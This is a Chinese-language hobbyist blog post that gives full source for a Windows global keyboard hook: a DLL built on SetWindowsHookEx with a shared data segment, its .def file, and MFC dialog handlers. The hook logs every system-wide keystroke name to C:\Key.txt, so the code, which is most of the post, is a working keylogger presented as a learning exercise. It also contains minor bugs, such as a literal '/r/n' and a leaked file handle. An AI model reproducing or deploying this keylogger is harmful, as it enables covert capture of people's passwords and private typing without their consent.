R3下设置全局钩子截获键盘记录

       呵呵,最近博客写的有点频繁,我这个人耐不住性子,有点东西就要拿出来让大家分享一下,虽然不一定都是好的。

最近一直在做HOOK,从内核驱动到用户层的API函数,基本上都尝试过了,昨天下午搞了一下午,写了一个R3下设置全局钩子截获键盘记录的小程序,虽然网上可能多得是,但是我认为菜鸟贵在自己动手做,哪怕是从网上从书上借鉴来的,你都要自己理解以后上机动手做一遍,这样你会发现很多你以前从未发现过的东西。

     不扯淡了,直接看代码。另注:像我们这种菜鸟的代码一般都有点问题,请大牛见了不要笑话。

     我是用的是Windows的API函数SetWindowsHookEx函数,所以第一步需要编写动态链接库的代码,动态链接库其实非常之简单有的和我一样的菜鸟一听到要用到这个东西就头疼,于是上网上看一些无需dll的全局键盘钩子的代码,其实我觉着吧,这反而会是编程变得困难。一个动态链接库的编写其实只要你写好头文件,和一些函数,比编写正常的程序简单的多,dllmain在缺省的情况下编译器自动为你填写,你还有什么好担心的呢?

     但是这里要注意的是,此处的动态链接库有一段代码是需要给所有进程所共享的,所以要特别指明这段数据可读可写并且共享。

下面是代码:

dll头文件

 #ifdef KEYHOOKLIB_EXPORTS #define KEYHOOKLIB_API __declspec(dllexport) #else #define KEYHOOKLIB_API __declspec(dllimport) #endif BOOL KEYHOOKLIB_API WINAPI SetKeyHook(BOOL bInstall,DWORD dwThreadId=0);

dll cpp文件

#include "windows.h" #define KEYHOOKLIB_EXPORTS #include "Hookdll.h" #include "stdio.h" #pragma data_seg("MyShared") HHOOK g_hHook=NULL; #pragma data_seg() HMODULE WINAPI ModuleFromAddress(PVOID pv) { MEMORY_BASIC_INFORMATION mbi; if(::VirtualQuery(pv,&mbi,sizeof(mbi))!=0) return (HMODULE)mbi.AllocationBase; else return NULL; } LRESULT CALLBACK KeyHookProc(int nCode,WPARAM wParam,LPARAM IParam) { char szKey[80]={0}; FILE * fp; fp=fopen("c://Key.txt","a+"); if (nCode<0||nCode==HC_NOREMOVE) { return CallNextHookEx(g_hHook,nCode,wParam,IParam); } if (IParam&0x40000000) { return CallNextHookEx(g_hHook,nCode,wParam,IParam); } GetKeyNameText(IParam,szKey,80); fwrite(szKey,sizeof(szKey),1,fp); fputs("/r/n",fp); fclose(fp); return CallNextHookEx(g_hHook,nCode,wParam,IParam); } BOOL WINAPI SetKeyHook(BOOL bInstall,DWORD dwThreadId) { BOOL bOk; if(bInstall) { g_hHook=::SetWindowsHookEx(WH_KEYBOARD,KeyHookProc,ModuleFromAddress(KeyHookProc),dwThreadId); bOk=(g_hHook!=NULL); } else { bOk=::UnhookWindowsHookEx(g_hHook); g_hHook=NULL; } return bOk; }

dll def文件 

EXPORTS //设置数据段的共享可读可写属性 SetKeyHook SECTIONS MyShared Read Write Shared

 

      下面我们就开始编写主程序模块了,这个就很简单了,其实就是构建一个MFC的框架,调用动态链接库的文件:

为确定按钮添加消息响应函数

void CHookDlg::OnOK() { // TODO: Add extra validation here if(!SetKeyHook(TRUE,0)) AfxMessageBox("失败!"); else AfxMessageBox("正在HOOK"); //CDialog::OnOK(); }

为取消按钮添加消息响应函数:

void CHookDlg::OnCancel() { // TODO: Add extra cleanup here if(!SetKeyHook(FALSE,0)) AfxMessageBox("停止失败!"); else AfxMessageBox("停止成功!"); CDialog::OnCancel(); }

        此外需要注意的是在此之前需要把刚才编译运行好的dll文件的lib文件dll文件.h文件一起拷贝到debug的目录下(也有可能是release)否则会提示SetKeyHook未定义,此外你也可以使用LoadLibrary函数来显式调用动态链接库函数。

      最终实现的效果是在C盘根目录下生成Key.txt文件记录你的键盘信息,经本人测试可以运行,(Windows Xp Sp2 professional)

代码仅供参考。

 

 

你可能感兴趣的:(api,validation,dll,hook,keyboard,winapi)